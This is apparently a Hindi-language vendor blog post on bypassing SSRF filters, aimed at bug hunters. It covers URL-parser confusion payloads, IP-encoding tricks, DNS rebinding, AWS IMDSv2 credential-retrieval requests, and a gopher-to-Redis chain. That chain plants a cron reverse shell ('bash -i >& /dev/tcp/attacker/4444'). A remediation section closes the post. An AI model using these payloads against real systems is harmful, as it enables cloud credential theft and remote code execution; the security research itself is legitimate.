# आसान फ़िल्टरों को पार करते हुए SSRF: URL-parser की उलझन और metadata endpoint

> allowlist और HTTP client आपके URL को अलग-अलग तरीके से parse करते हैं — यही अंतर वह जगह है जहाँ आधुनिक SSRF रहती है। यहाँ हैं ठीक-ठीक parser-confusion payloads, container के भीतर से IMDSv2 का token नृत्य, gopher-to-Redis RCE श्रृंखला, और यह क्यों कि आप इसकी पुष्टि out-of-band करते हैं, response body में नहीं।

**Key takeaways:**
- बग फ़िल्टर नहीं है — बग यह है कि validator और fetcher अलग-अलग URL libraries इस्तेमाल करते हैं और इस बात पर असहमत रहते हैं कि कौन-सा host असली है। `http://expected-host@169.254.169.254/` जाँच में पास हो जाता है और metadata service से जुड़ जाता है।
- लगभग हर असली SSRF blind होती है: response body में कुछ नहीं दिखता। पुष्टि एक Crusader Beacon callback से करें जो target के अपने egress IP से आए, और DNS-only interactions को प्राथमिकता दें जो HTTP egress filtering से निकल जाती हैं।
- IMDSv2 एक पूरा-request नृत्य है — token के लिए PUT, फिर उसी token के साथ GET — और default hop limit 1 होने का मतलब है कि container के भीतर से आई SSRF अक्सर 169.254.169.254 तक पहुँच ही नहीं पाती। इसे खारिज करने से पहले यह बारीकी जान लें।
- gopher:// SSRF को आंतरिक line-protocol services के लिए raw TCP में बदल देता है। Redis पर निशाना साधने पर यह एक cron job लिखता है और reverse-shell RCE बन जाता है।

**Series:** Bug Class Deep Dives  
**Published:** July 5, 2026 · 10 min read  
**Canonical:** https://crusaderproxy.com/research/hi/posts/ssrf-past-the-easy-filters/

---


Server-side request forgery उन कुछ bug classes में से एक है जहाँ एक अकेली खोज आपके हाथ में cloud credentials थमा देती है। इसका तंत्र कहने में मामूली है — आप server से एक ऐसा URL fetch करवाते हैं जो आपके नियंत्रण में है — और हर write-up वहीं रुक जाता है, ठीक इसीलिए वे बेकार हैं। tutorial वाला payload, URL field में चिपकाया गया `http://169.254.169.254/`, हर जगह blocklist हो चुका है। SSRF के 2026 में भी सबसे उपजाऊ bug classes में से एक बने रहने की वजह यह नहीं है कि developers filter करना भूल गए। वजह यह है कि **उनका filter और उनका HTTP client URL को अलग-अलग पढ़ते हैं, और आप उसी अंतर में रहते हैं।**

> **URL allowlist एक शर्त है कि code के दो टुकड़े — validator और fetcher — इस पर सहमत हैं कि आपने कौन-सा host माँगा। वे लगभग कभी सहमत नहीं होते। आधुनिक SSRF एक ऐसी string खोजने की कला है जिसे वे दो तरह से पढ़ते हैं।**

## मुख्य बग: URL-parser confusion

Orange Tsai के *A New Era of SSRF* ने उस चीज़ को नाम दिया जिससे हर कोई ठोकर खा रहा था: एक URL library पर बना validator और दूसरी पर बना HTTP client एक ही string को अलग-अलग hosts में parse कर देते हैं। validator कहता है "यह `expected-host` की ओर इशारा करता है, अनुमति है।" client `169.254.169.254` से जुड़ जाता है। दोनों अपने-अपने पठन के अनुसार एक अस्पष्ट spec के हिसाब से सही व्यवहार कर रहे हैं (RFC 3986 यहाँ असली गुंजाइश छोड़ता है)। आपको बस वह input चाहिए जो उन्हें अलग कर दे।

ठीक-ठीक payloads, और *क्यों* हर एक parsers को अलग करता है:

```
http://expected-host@169.254.169.254/
```
Userinfo confusion. `@` से पहले का सब कुछ `userinfo` component है; असली host उसके बाद है। एक भोला validator जो host को string की *शुरुआत* में ढूँढता है, `expected-host` देखकर अनुमति दे देता है। HTTP client, सही parse करते हुए, `169.254.169.254` से जुड़ता है और `expected-host` को (नज़रअंदाज़ किए गए) username के रूप में भेज देता है।

```
http://169.254.169.254#@expected-host/
```
Fragment वाली चाल। एक validator जो "`@` पर split करके host ढूँढता है" पूँछ से `expected-host` उठा लेता है। पर `#` fragment शुरू कर देता है — उसके बाद का सब कुछ fetcher छोड़ देता है, जो `169.254.169.254` से जुड़ता है। allowlist एक ऐसी string जाँचती है जिसे network कभी देखता ही नहीं।

```
http://expected-host\@169.254.169.254/
```
Backslash की असहमति। Browsers और Go का `net/url` `\` को `/` में normalize कर देते हैं, इसलिए उनके लिए host `expected-host` है और बाक़ी path है। जो libraries backslash को normalize *नहीं* करतीं, वे `expected-host\` को userinfo और `169.254.169.254` को host मानती हैं। एक ही byte string से validator और fetcher अलग-अलग hosts पर पहुँच जाते हैं।

```
http://169.254.169.254 &@expected-host
```
Whitespace / control-character injection. authority में ठूँसा गया एक space, tab, या raw CR/LF एक parser से host जल्दी काट देता है और दूसरे से सीधा आगे पढ़वा देता है। कुछ stacks space पर रुक जाते हैं (host = `169.254.169.254`), कुछ `@` पर split कर देते हैं (host = `expected-host`), और यही असहमति bypass है।

मूल कारण हमेशा एक ही आकार का होता है: **RFC 3986 की अस्पष्टता, और साथ में एक validator व एक HTTP client जो दो अलग URL implementations इस्तेमाल कर रहे हैं।** जब आपको कोई allowlist दिखे, तो पहले यह मत पूछिए "क्या मैं इसके इर्द-गिर्द encode कर सकता हूँ" — पूछिए "इसे parse कौन करता है, और क्या fetcher उससे सहमत है?"

## जब यह blocklist हो, allowlist नहीं: IP encodings

अगर filter एक string blocklist है जो `127.0.0.1` / `localhost` / `169.254.169.254` का शाब्दिक मिलान करती है, तो यह इस तथ्य के आगे गिर जाती है कि एक IP address के कई textual रूप होते हैं जो सब एक ही 32 bits में resolve होते हैं:

```
2130706433              decimal for 127.0.0.1
0177.0.0.1              octal first octet
0x7f.0.0.1              hex first octet
127.1                   short form — omitted octets are zero-filled
[::1]                   IPv6 loopback
[::ffff:169.254.169.254]  IPv4-mapped IPv6 — reaches the metadata IP
0.0.0.0                 Linux routes this to localhost
```

`0.0.0.0` वाली चाल वही है जो लोग चूक जाते हैं: Linux पर यह loopback को route होती है, इसलिए यह आपकी local service तक पहुँच जाती है, जबकि केवल `127.0.0.1` string जानने वाली blocklist के बगल से सीधा निकल जाती है। और जब filter hostname को resolve करता है पर अंतिम गंतव्य को नहीं, तो wildcard-DNS services आपको एक सार्वजनिक-दिखने वाले नाम में एक आंतरिक IP थमा देती हैं: `169.254.169.254.nip.io` `169.254.169.254` में resolve होता है, और `localtest.me` `127.0.0.1` में resolve होता है।

## DNS rebinding: resolver पर एक TOCTOU

जब validation और fetch दो अलग DNS lookups होते हैं, तो उनके बीच एक **TTL-0** record रख दीजिए। जिस पल app validate करता है यह एक सार्वजनिक, अनुमत IP में resolve होता है, फिर एक क्षण बाद जब app वाकई fetch करता है तो `169.254.169.254` में — DNS पर ही एक time-of-check/time-of-use बग। `rebind` और `singularity` इस पलटी को automate करते हैं। जो पेच एक पूरा दिन खा जाता है: **कुछ HTTP clients DNS को cache कर लेते हैं या connection के पूरे जीवनकाल के लिए पहले resolution को pin कर देते हैं**, इसलिए दूसरा lookup कभी होता ही नहीं और rebinding चुपचाप विफल हो जाती है। यह निष्कर्ष निकालने से पहले कि target सुरक्षित है, जाँच लीजिए कि क्या client दोबारा resolve करता है — एक विफल rebind एक client के DNS व्यवहार के बारे में जानकारी है, कोई साफ़ परिणाम नहीं।

URL लेने वाले features की अपनी उम्मीदवार सूची proxy history से बनाइए — यहीं [proxy history से passive recon]({{< relref path="posts/passive-recon-from-proxy-history.md" lang="en" >}}) का फल मिलता है। SSRF छिपती है webhooks में, import-by-URL और avatar-from-URL में, PDF / screenshot / thumbnail generators में, SSO/OIDC discovery URLs में, link unfurlers में, और XML व SVG parsers के ज़रिये XXE-to-SSRF में।

## पुष्टि करना: OAST, कभी response body नहीं

आधुनिक SSRF के लिए सबसे महत्वपूर्ण बदलाव: **response पढ़ना बंद कर दीजिए।** अधिकांश असली SSRF blind होती है — server आपका URL fetch करता है और आपको कुछ नहीं दिखाता — इसलिए filter-and-eyeball वाला loop इसे पूरी तरह चूक जाता है। parameter को एक out-of-band listener की ओर मोड़िए और callback की प्रतीक्षा कीजिए:

```
POST /api/import HTTP/2
Content-Type: application/json

{"url":"http://k7f2p9.beacon.crusader.sh/"}

# API returns {"status":"queued"} — nothing useful.
# A DNS lookup for k7f2p9.beacon.crusader.sh arriving from the
# target's egress IP is the proof. The response body never mattered.
```

आप बिना किसी callback के भी **timing** से पुष्टि कर सकते हैं: एक आंतरिक खुला port और एक बंद port नापने-योग्य रूप से अलग response latencies पैदा करते हैं, इसलिए एक `connect()` जो लटक जाए बनाम एक जो झट से मना कर दे, आंतरिक network का एक blind port scan है।

**वह detection जाल जो false positives पैदा करता है:** एक cached या CDN-fronted `200` जो response में महज़ आपके callback host को *echo* करता है, एक ऐसे hit जैसा दिख सकता है जो असल में hit नहीं है — CDN ने आपके host को resolve किया, target के backend ने नहीं। दो नियम आपको ईमानदार रखते हैं। पहला, सत्यापित कीजिए कि callback का **source IP target की infrastructure है**, कोई साझा CDN edge नहीं। दूसरा, **DNS-only interactions को प्राथमिकता दीजिए**: एक DNS resolution उस HTTP egress filtering से बच निकलती है जो किसी outbound HTTP callback को चुपचाप गिरा देती, इसलिए DNS उन मामलों की पुष्टि करती है जहाँ HTTP कुछ न दिखाकर आपसे parameter को ग़लत ढंग से सुरक्षित घोषित करवा देता।

## बढ़ोतरी: metadata endpoint, सही तरीके से

`169.254.169.254` तक पहुँचना शुरुआत है, खोज नहीं। AWS पर, IMDSv1 credentials सीधे एक GET को थमा देती है:

```
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

IMDSv2 वहाँ है जहाँ अधिकांश reports ग़लत हो जाती हैं, क्योंकि यह एक **full-request नृत्य** है, कोई GET नहीं:

```
# 1. PUT to obtain a session token
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

# 2. GET the credentials, presenting that token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: <token-from-step-1>
```

दो बारीकियाँ तय करती हैं कि यह काम करेगा या नहीं। केवल GET करने वाली SSRF step 1 कर ही नहीं सकती — token के लिए PUT करने हेतु आपको **method और headers** पर नियंत्रण चाहिए। और **PUT response पर default hop limit 1 है**: container के भीतर से उठने वाली request एक network hop जोड़ देती है, इसलिए token response वापस लौटने से पहले मर जाता है और container के भीतर से आई SSRF अक्सर metadata service तक पहुँच नहीं पाती *भले ही parameter पूरी तरह vulnerable हो*। अगर IMDSv1 को स्पष्ट रूप से disable नहीं किया गया है तो यह एक fallback बना रहता है जिसे जाँचना ठीक है। GCP सरल है पर header-gated: `Metadata-Flavor: Google` के साथ `http://metadata.google.internal/`। "metadata reachable" रिपोर्ट मत कीजिए — वे credentials रिपोर्ट कीजिए जो आपने प्राप्त किए, या ठीक-ठीक बताइए कि hop limit या token की ज़रूरत ने आपको क्यों रोका।

## बढ़ोतरी: gopher:// से Redis RCE

`gopher://` वह scheme है जो SSRF को आंतरिक line-protocol services — Redis, memcached, SMTP — के विरुद्ध raw TCP में बदल देता है, क्योंकि यह आपको एक socket पर मनमाने bytes लिखने देता है। किसी unauthenticated Redis पर निशाना साधने पर यह एक cron job लिखकर remote code execution बन जाता है:

```
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n"
SAVE
```

हर Redis protocol line को URL-encode करके एक gopher payload में डाला जाता है (commands के बीच `%0d%0a`)। `CONFIG SET dir` Redis की save directory को cron पर मोड़ देता है, `dbfilename root` dump file का नाम crontab के हिसाब से रखता है, `SET` एक reverse-shell cron line छिपा देता है, और `SAVE` इसे disk पर flush कर देता है — जहाँ cron इसे उठा लेता है और वापस connect करता है। SSRF से RCE, बिना किसी auth के, एक request में।

## उपचार

अपनी report के fix section के लिए: application code में URL allowlisting वही चीज़ है जो विफल होती है, क्योंकि यह validator और fetcher के सहमत होने पर निर्भर है। टिकाऊ fixes ये हैं — **hostname को आप ख़ुद resolve कीजिए, resolve किए गए IP को आंतरिक ranges की denylist के विरुद्ध validate कीजिए, फिर उसी ठीक IP को pin करके उससे connect कीजिए** ताकि कोई दूसरा resolution rebind न कर सके; **अनुपयोगी URL schemes disable कीजिए** (कोई `gopher://`, `file://`, `dict://` नहीं); **IMDSv2 लागू कीजिए और metadata hop limit को 1 पर सेट कीजिए** ताकि container escapes उस तक न पहुँच सकें; और एक string check पर भरोसा करने के बजाय **network layer पर egress को block कीजिए**। एक filter जो URL को parse करता है, एक ऐसे client से दौड़ लगा रहा है जो इसे अलग तरीके से parse करता है — निर्णय को resolve किए गए IP पर ले जाइए, जहाँ केवल एक ही जवाब होता है।

## असली बात

SSRF कठिन नहीं हुई; भोले payloads filter हो गए, और सब एक परत पहले रुक गए। बग एक स्तर नीचे चली गई — URL जाँचने वाले code और उसे fetch करने वाले code के बीच की असहमति में, और उन blind मामलों में जो किसी response body में कभी नज़र नहीं आते। हर URL लेने वाले parameter पर एक out-of-band listener जोड़िए, blind मामलों को एक DNS ping से अपनी घोषणा करने दीजिए, और अपने parser-confusion payloads केवल उन्हीं parameters पर ख़र्च कीजिए जो पहले ही घर फ़ोन कर चुके हैं। यही वही confused-deputy आकार है — एक भरोसेमंद context जो attacker-नियंत्रित input पर अमल कर रहा है — जो अब [AI agents में prompt injection]({{< relref path="posts/prompt-injection-is-the-new-ssrf.md" lang="en" >}}) को चला रहा है।

Crusader में out-of-band testing (Crusader Beacon) built in आता है, जो blind SSRF के लिए पूरा खेल है: request को किसी URL लेने वाले parameter पर छोड़िए, interaction की प्रतीक्षा कीजिए, और callback के source IP से पुष्टि कीजिए कि घर फ़ोन करने वाला target का ही server था — किसी response body की ज़रूरत नहीं। इसे अपनी history के हर webhook, importer, और discovery URL पर मोड़िए और filter हुए मामलों को अपना राज़ कबूल करने दीजिए। [Crusader मुफ़्त डाउनलोड करें](https://crusaderproxy.com/#install)।


---

*Original research by Crusader Research. Try Crusader free: https://crusaderproxy.com/#install*
